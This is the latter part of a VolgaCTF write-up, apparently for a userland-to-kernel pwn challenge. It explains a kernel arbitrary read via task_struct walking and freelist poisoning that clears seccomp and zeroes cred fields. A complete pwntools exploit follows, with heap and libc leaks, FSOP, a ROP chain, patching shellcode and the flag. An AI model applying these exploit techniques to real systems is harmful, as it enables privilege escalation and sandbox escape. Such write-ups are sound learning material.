We have to get arbitary read to walk this linked list which we can get by overflowing and setting the next field to target but, there are a few limitations like that first qword should preferably be NULL and the second qword should be less than 0xf000 but large enough to leak the task and comm field. After looking at the struct I found that task+0x37 is a perfect target as the first qword is always zero and the second qword is always less than 0xf000 but greater than 0x1000 allowing us to leak the next & prev fields of task and comm field.

First we have to bypass randomization which can do that by allocating pic objects with single chunks where each chunk overflows and writes the chunk-{i} in data of the next chunk. After that we can read each chunk and by using this oracle we can figure out which chunk is before it.

idx = ((x+1)*12)
adj = {}
for i in range(9): make(data=make_pic([make_chunk(b''.ljust(0x130, b'\x00')+p64(0x140)+p64(0)+f'chunk-{i}'.encode())]), iss=1)
for i in range(9):
    view(idx+i, iss=1)
    data = io.recvuntil(b'index: ', drop=True).strip()
    m = re.match(rb'chunk-(\d+)', data)
    if m: adj[idx+int(m.group(1))] = idx+i 
 
log.info(f"adj: {adj}")
assert adj != {}
left, right = list(adj.keys())[0], adj[list(adj.keys())[0]]

Here left is the chunk just before right so, we are going to free left to overflow right! We walk the chain backwards as it’s much faster.

init_task = kbase+0x01812940
 
free(left, iss=1)
make(data=make_pic([make_chunk(b''.ljust(0x128, b'\x00')+p64(init_task+0x37)+p64(0))]), iss=1)
view(right, iss=1)
_prev = u64(io.recvuntil(b'index: ', drop=True)[0x900-0x37-0x18+0x8+1:][:8])-0x900
_next = init_task+0x900
idx=left=idx+9-1
 
while True:
  free(left, iss=1)
  make(data=make_pic([make_chunk(b''.ljust(0x128, b'\x00')+p64(_prev+0x37)+p64(0))]), iss=1)
  view(right, iss=1)
  data  = io.recvuntil(b'index: ', drop=True)
  if b'client' in data[0xbf0-0x37-0x18:][:0x20]: task_struct = _prev ; break
  temp  = _prev+0x9000
  _prev = u64(data[data.index(p64(_next))+0x8:][:8])-0x900
  _next = temp
 
cred_struct = u64(data[data.index(b'client')-0x10:][:8])
log.info(f'{task_struct = :#014x}')
log.info(f'{cred_struct = :#014x}')

After this we unset the next field of right chunk so we can free it when corrupting the freelist:

free(left, iss=1)
make(data=make_pic([make_chunk(b''.ljust(0x128, b'\x00')+p64(0)+p64(0x140))]), iss=1)

We allocated 9 chunks from the freelist so there are still three left so, we allocate two of those so there is only one left and then free right and then free left so, we have something like left->right->some chunk in the freelist. We then allocate left and overflow to overwrite the forward pointer to task_struct-0x140 and then we allocate again to reallocate right. Now, when we allocate we get task_struct-0x140 and we can unset SYSCALL_WORK_BIT_SECCOMP in thread_info->syscall_work to bypass the seccomp. We do the same thing for the cred_struct and zero out first few fields like uid,gid,suid etc.

for i in range(2): make(data=make_pic([make_chunk(b''.ljust(0x128, b'\x00'))]), iss=1)
free(right, iss=1)
free(left, iss=1)
make(data=make_pic([make_chunk(b''.ljust(0x1b0, b'\x00')+p64(task_struct-0x140))]), iss=1)
make(data=make_pic([make_chunk(b''.ljust(0x128, b'\x00'))]), iss=1)
make(data=make_pic([make_chunk(b'\x00'*0x128+p64(0x80000)+p64(0))]), iss=1)
 
left=idx+1 ; right=idx+2
free(idx, iss=1)
free(right, iss=1)
free(left, iss=1)
 
make(data=make_pic([make_chunk(b''.ljust(0x1b0, b'\x00')+p64(cred_struct-0x120))]), iss=1)
make(data=make_pic([make_chunk(b''.ljust(0x128, b'\x00'))]), iss=1)
make(data=make_pic([make_chunk(b''.ljust(0x108, b'\x00')+p64(2)+b'\x00'*0x28)]), iss=1)

After this we can just exit because we have unset the seccomp, nulled out cred_struct so, the open-read-write shellcode that we wrote at the end of main() gets executed giving us the flag!

Conclusion

#!/usr/bin/env python3
from pwn import *
 
exe  = context.binary = ELF(args.EXE or './client')
libc = ELF('./libc.so.6')
 
def start(argv=[], *a, **kw):
  if args.GDB:
    return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
  else:
    return process([exe.path] + argv, *a, **kw)
 
def make(name=None, data=p32(0x13379001), iss=0):
  if name is None: name = os.urandom(0x10)
  io.sendlineafter(b"choice: ", b"1")
  io.sendlineafter(b"name len: ", str(len(name)).encode())
  io.sendlineafter(b"name: ", name.hex().encode())
  io.sendlineafter(b"pic len: ", str(len(data)).encode())
  io.sendlineafter(b"pic: ", data.hex().encode())
  io.sendlineafter(b"save pic? ", str(iss).encode())
 
def free(idx, iss=0):
  io.sendlineafter(b"choice: ", b"2")
  io.sendlineafter(b"index: ", str(idx).encode())
  io.sendlineafter(b"delete pic? ", str(iss).encode())
 
def view(idx, iss=0, count=0):
  io.sendlineafter(b"choice: ", b"3")
  io.sendlineafter(b"index: ", str(idx).encode())
  io.sendlineafter(b"view pic? ", str(iss).encode())
  if iss: io.sendlineafter(b"count: ", str(count).encode()) ; io.recvline() ; return
  io.recvuntil(b'index: ')
  m = re.search(rb"(\d+), id: (\d+), name: (.+)", io.recvline())
  if not m: return None, None, None
  return int(m.group(1)), int(m.group(2)), m.group(3).strip()
 
def demangle(v):
  m = 0xfff << 52
  while m: v ^= (v & m) >> 12; m >>= 12
  return v
 
gdbscript = '''
init-pwndbg
c
'''.format(**locals())
 
while True:
  io = process(["/bin/sh", "./run.sh"])
 
  for i in range(5): make(name=b'A'*0x60)
  for i in range(5): free(i)
  for i in range(3): make(name=b'A'*0x60)
  free(0)
  free(1)
  make(name=b'A'*0x60)
  free(1)
  lo, up, _ = view(0)
  heap_base = (demangle(up<<32|lo)>>12)<<12
  log.info(f'{heap_base = :#014x}')
  for i in range(7+2): make(name=b'A'*0x60)
  for i in range(4, 10): free(i)
  free(2)
  free(3)
  free(1)
  io.sendlineafter(b"choice: ", b"2")
  io.sendlineafter(b"index: ", b'1'*0xfff)
  lo, up, _ = view(0)
  libc.address = (up<<32|lo) - 0x1e6b20
  log.info(f'{libc.address = :#014x}')
  make(name=b'A'*0x6c+p64(0x80|1)+b'A'*8)
  make(name=b'A'*0x40)
  for i in range(7): make(name=b'A'*0x60)
  make(name=b'A'*0x40)
  free(10)
  free(2)
  free(1)
  make(name=(b'A'*(4+8)+p64(0x60|1)+p64((libc.sym._IO_list_all-0x10)^(heap_base>>12))).ljust(0x60, b'\x00'))
  make(name=b'A'*0x40)
  make(name=(b'A'*4+p64(heap_base+0x9c0)).ljust(0x40, b'\x00'))
 
  '''
  0x0014acdc: push rax; pop rsp; lea rsi, [rax+0x48]; mov rax, [rdi+8]; jmp qword ptr [rax+0x18]
  0x001547be: add rsp, 0x110; pop rbx; pop rbp; pop r12; ret;
 
  0x0011ecf7: syscall; ret;
  0x0016032d: pop rsi; ret;
  0x00189481: pop rdi; ret;
  0x0011266f: pop rax; ret;
  0x00160234: pop rdx; pop rbx; ret;
  0x0015f4d9: pop rsp; ret;
  '''
  fs = flat({
      0x00: b'  sh',
      0x08: p64(heap_base+0x9c0+0x10-0x18),
      0x10: p64(libc.address+0x1547be),
      0x20: p64(0),
      0x28: p64(1),
      0x88: p64(libc.address+0x1e87a0),
      0xa0: p64(heap_base+0x9c0+0xe0),
      0xc0: p64(0),
      0xd8: p64(libc.sym._IO_wfile_jumps),
      0xe0+0x18: p64(0),
      0xe0+0x30: p64(0),
      0xe0+0xe0: p64(heap_base+0x9c0+0xe0+0xe8-0x68),
      0xe0+0xe8: p64(libc.address+0x14acdc),
  }, filler=b'\x00')
 
  rop  = flat([
      libc.address+0x189481, heap_base+0x1000,
      libc.address+0x16032d, 0x1000,
      libc.address+0x160234, 7, 0,
      libc.address+0x11266f, 10,
      libc.address+0x11ecf7,
      libc.address+0x15f4d9, heap_base+0x1010
  ])
 
  sc  = b''
  sc += asm('nop')*0x20
  sc += asm(f'''
    mov rax, qword ptr [rsp]
    mov rax, qword ptr [rax]
    sub rax, 208
    mov r12, rax
    mov rax, qword ptr [rax]
    sub rax, 0x4d40
    add rax, 0x1000
    mov r13, rax
    mov rdi, r13
    mov rsi, 0x2000
    mov rdx, 7
    mov rax, 10
    syscall
    mov rdi, 1
    mov rsi, qword ptr [rsp]
    mov rdx, 0x8
    mov rax, 1
    syscall
    mov qword ptr [rsp], r13
    lea rsi, qword ptr [rsp]
    mov rdx, 0x8
    mov rax, 1
    syscall
    mov rax, r13
 
    add rax, 0x8a9
    mov rdi, rax
    mov byte ptr [rdi], 0x48
    mov byte ptr [rdi+1], 0x31
    mov byte ptr [rdi+2], 0xc0
    mov byte ptr [rdi+3], 0xc3
 
    mov rax, r13
    add rax, 0x3d4
    mov rdi, rax
    mov byte ptr [rdi], 0x0
 
    mov rax, r13
    add rax, 0xdcc
    mov rdi, rax
    {"".join([f"mov byte ptr [rdi+{hex(x)}], 0xf0;" for x in [0x08, 0x15f, 0x1a4]])}
    {"".join([f"mov byte ptr [rdi+{hex(x)}], 0x0f;" for x in [0x1d,0x28,0x53,0x70,0x8f,0xb1,0xc6,0xcd,0xd4,0xda,0xf9,0x116,0x139,0x15a,0x16c,0x18f,0x196,0x1a0,0x1c1,0x1c8,0x1e2,0x1ff,0x21b]])}
 
    mov rax, r13
    add rax, 0xd7c
    mov rdi, rax
    mov byte ptr [rdi], 0x89
    mov byte ptr [rdi+1], 0xc1
 
    mov rax, r13
    add rax, 0x1188
    mov rdi, rax
    {"".join([f"mov byte ptr [rdi+{hex(i)}], {hex(b)};" for i, b in enumerate(asm(shellcraft.open('/dev/sda', 0) + shellcraft.read('rax', 'rsp', 0x1000) + shellcraft.write(1, 'rsp', 0x1000)))])}
 
    mov rax, r13
    add rax, 0x10e8
    mov rsp, r12
    add rsp, 8
    mov rbp, rsp
    sub rsp, 0x10
    push rax
    ret
  ''')
  sc  = sc.ljust((len(sc)+0x1f)//0x20*0x20, b'\x90')
 
  make(name=b'A'*4+fs+b'A'*0xb8+rop+b'\x00'*0x250)
  make(name=(b'A'*(0x64+144)+p64(heap_base+0x1020)+p64(libc.sym.environ)+sc).ljust(0x500, b'\x00'))
  io.sendlineafter(b"choice: ", b"4")
 
  sleep(1)
  io.recvline()
  stack = u64(io.recv(8))
  exe.address = u64(io.recv(8)) - 0x1000
  log.info(f'{stack = :#014x}')
  log.info(f'{exe.address = :#014x}')
 
  def make_chunk(data, pad=0): return p64(len(data)) + p64(pad) + data
  def make_pic(chunks): return p32(0x13379001) + b"".join(chunks)
 
  kbase = 0
  stable_leaks = {
      0x44cc0:  0x8137a0,
      0xa7e50: -0xb4f9f0,
      0xa7e10: -0xb4f9b0,
      0x47d80:  0x8106e0,
      0x939c0:  0x7c4aa0,
      0x02e00:  0x855660,
    }
  leaks = []
  with log.progress('hunting kleak') as p:
    for x in range(7):
      p.status(f'round {x+1}/7')
      for i in range(12): make(data=make_pic([make_chunk(b'\x00'*0x128+p64(0)+p64(0xefff)+p64(0))]), iss=1)
      view(x*12, iss=1, count=0)
      data = io.recvuntil(b'index: ', drop=True).strip()
      for j in range(0, len(data)//8*8, 8):
        val = u64(data[j:j+8])
        if val not in leaks and 0xffffffff80000000 < val < 0xffffffffc0000000: leaks.append(val)
      for val in leaks:
        l20 = val & 0xfffff
        if l20 in stable_leaks: kbase = val+stable_leaks[l20]-0x1858460 ; break
      if kbase != 0: p.success(f'{kbase = :#014x}') ; break
      else: continue
    else: p.failure('failed to get kleak')
  if kbase != 0: break
  io.close()
 
if args.GDB and not args.REMOTE:
  gdbinit = tempfile.NamedTemporaryFile(mode='w', delete=False, prefix=".debug_arm64_gdbinit_")
  gdbinit.write(f"""
init-gef-bata
target remote localhost:1234
ksymaddr-remote-apply
c
""")
  gdbinit.flush()
  gdbinit.close()
  subprocess.Popen(['qterminal', '-e', 'gdb', '-q', '-x', gdbinit.name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
 
idx = ((x+1)*12)
adj = {}
for i in range(9): make(data=make_pic([make_chunk(b''.ljust(0x130, b'\x00')+p64(0x140)+p64(0)+f'chunk-{i}'.encode())]), iss=1)
for i in range(9):
    view(idx+i, iss=1)
    data = io.recvuntil(b'index: ', drop=True).strip()
    m = re.match(rb'chunk-(\d+)', data)
    if m: adj[idx+int(m.group(1))] = idx+i 
 
log.info(f"adj: {adj}")
assert adj != {}
 
left, right = list(adj.keys())[0], adj[list(adj.keys())[0]]
init_task = kbase+0x01812940
 
free(left, iss=1)
make(data=make_pic([make_chunk(b''.ljust(0x128, b'\x00')+p64(init_task+0x37)+p64(0))]), iss=1)
view(right, iss=1)
_prev = u64(io.recvuntil(b'index: ', drop=True)[0x900-0x37-0x18+0x8+1:][:8])-0x900
_next = init_task+0x900
idx=left=idx+9-1
 
while True:
  free(left, iss=1)
  make(data=make_pic([make_chunk(b''.ljust(0x128, b'\x00')+p64(_prev+0x37)+p64(0))]), iss=1)
  view(right, iss=1)
  data  = io.recvuntil(b'index: ', drop=True)
  if b'client' in data[0xbf0-0x37-0x18:][:0x20]: task_struct = _prev ; break
  temp  = _prev+0x9000
  _prev = u64(data[data.index(p64(_next))+0x8:][:8])-0x900
  _next = temp
 
cred_struct = u64(data[data.index(b'client')-0x10:][:8])
log.info(f'{task_struct = :#014x}')
log.info(f'{cred_struct = :#014x}')
 
if args.GDB and not args.REMOTE:
  gdbinit = tempfile.NamedTemporaryFile(mode='w', delete=False, prefix=".debug_arm64_gdbinit_")
  gdbinit.write(f"""
init-gef-bata
target remote localhost:1234
ksymaddr-remote-apply
c
""")
  gdbinit.flush()
  gdbinit.close()
  subprocess.Popen(['qterminal', '-e', 'gdb', '-q', '-x', gdbinit.name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
 
free(left, iss=1)
make(data=make_pic([make_chunk(b''.ljust(0x128, b'\x00')+p64(0)+p64(0x140))]), iss=1)
for i in range(2): make(data=make_pic([make_chunk(b''.ljust(0x128, b'\x00'))]), iss=1)
free(right, iss=1)
free(left, iss=1)
make(data=make_pic([make_chunk(b''.ljust(0x1b0, b'\x00')+p64(task_struct-0x140))]), iss=1)
make(data=make_pic([make_chunk(b''.ljust(0x128, b'\x00'))]), iss=1)
make(data=make_pic([make_chunk(b'\x00'*0x128+p64(0x80000)+p64(0))]), iss=1)
 
left=idx+1 ; right=idx+2
free(idx, iss=1)
free(right, iss=1)
free(left, iss=1)
 
make(data=make_pic([make_chunk(b''.ljust(0x1b0, b'\x00')+p64(cred_struct-0x120))]), iss=1)
make(data=make_pic([make_chunk(b''.ljust(0x128, b'\x00'))]), iss=1)
make(data=make_pic([make_chunk(b''.ljust(0x108, b'\x00')+p64(2)+b'\x00'*0x28)]), iss=1)
 
io.sendlineafter(b"choice: ", b"4")
io.interactive()
VolgaCTF{a_chto_bilo_bi_esli_bi_mi_v_itoge_tupo_perebirali_imena_failov_u_babuina_a0878cc364ae912dda12b943c34e0da70c51eba152019c428b04994735939100}

It was really nice challenge that was fun to solve! Thanks to the organizers for hosting the CTF! Will definitely come back next year.